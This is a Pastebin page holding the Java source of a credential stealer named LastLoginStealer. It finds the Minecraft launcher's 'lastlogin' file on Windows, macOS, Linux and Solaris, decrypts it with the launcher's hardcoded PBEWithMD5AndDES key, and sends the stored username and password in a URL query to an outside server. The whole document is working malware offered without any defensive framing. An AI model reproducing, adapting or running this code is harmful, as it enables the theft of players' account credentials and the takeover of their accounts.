Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.DataInputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.net.URL;
- import java.util.Random;
- import javax.crypto.Cipher;
- import javax.crypto.CipherInputStream;
- import javax.crypto.SecretKey;
- import javax.crypto.SecretKeyFactory;
- import javax.crypto.spec.PBEKeySpec;
- import javax.crypto.spec.PBEParameterSpec;
- public class LastLoginStealer {
- private static Cipher getCipher(int mode, String password) throws Exception {
- Random random = new Random(43287234L);
- byte[] salt = new byte[8];
- random.nextBytes(salt);
- PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
- SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(password.toCharArray()));
- Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
- cipher.init(mode, pbeKey, pbeParamSpec);
- return cipher;
- }
- public static void stealLastLogin() {
- readUsername();
- }
- private static void readUsername() {
- try {
- File lastLogin = new File(getWorkingDirectory(), "lastlogin");
- Cipher cipher = getCipher(2, "passwordfile");
- DataInputStream dis;
- if (cipher != null)
- dis = new DataInputStream(new CipherInputStream(new FileInputStream(lastLogin), cipher));
- else {
- dis = new DataInputStream(new FileInputStream(lastLogin));
- }
- String username = dis.readUTF();
- String password = dis.readUTF();
- String combi = username+":"+password;
- (new URL("http://jonalu.net/test.php?send="+combi)).openStream();
- dis.close();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- private static File workDir = null;
- public static File getWorkingDirectory() {
- if (workDir == null) workDir = getWorkingDirectory("minecraft");
- return workDir;
- }
- public static File getWorkingDirectory(String applicationName) {
- String userHome = System.getProperty("user.home", ".");
- File workingDirectory;
- switch (getPlatform()) {
- case 1:
- case 2:
- workingDirectory = new File(userHome, '.' + applicationName + '/');
- break;
- case 3:
- String applicationData = System.getenv("APPDATA");
- if (applicationData != null) workingDirectory = new File(applicationData, "." + applicationName + '/'); else
- workingDirectory = new File(userHome, '.' + applicationName + '/');
- break;
- case 4:
- workingDirectory = new File(userHome, "Library/Application Support/" + applicationName);
- break;
- default:
- workingDirectory = new File(userHome, applicationName + '/');
- }
- if ((!workingDirectory.exists()) && (!workingDirectory.mkdirs())) throw new RuntimeException("The working directory could not be created: " + workingDirectory);
- return workingDirectory;
- }
- private static int getPlatform() {
- String osName = System.getProperty("os.name").toLowerCase();
- if (osName.contains("win")) return 3;
- if (osName.contains("mac")) return 4;
- if (osName.contains("solaris")) return 1;
- if (osName.contains("sunos")) return 1;
- if (osName.contains("linux")) return 2;
- if (osName.contains("unix")) return 2;
- return 0;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement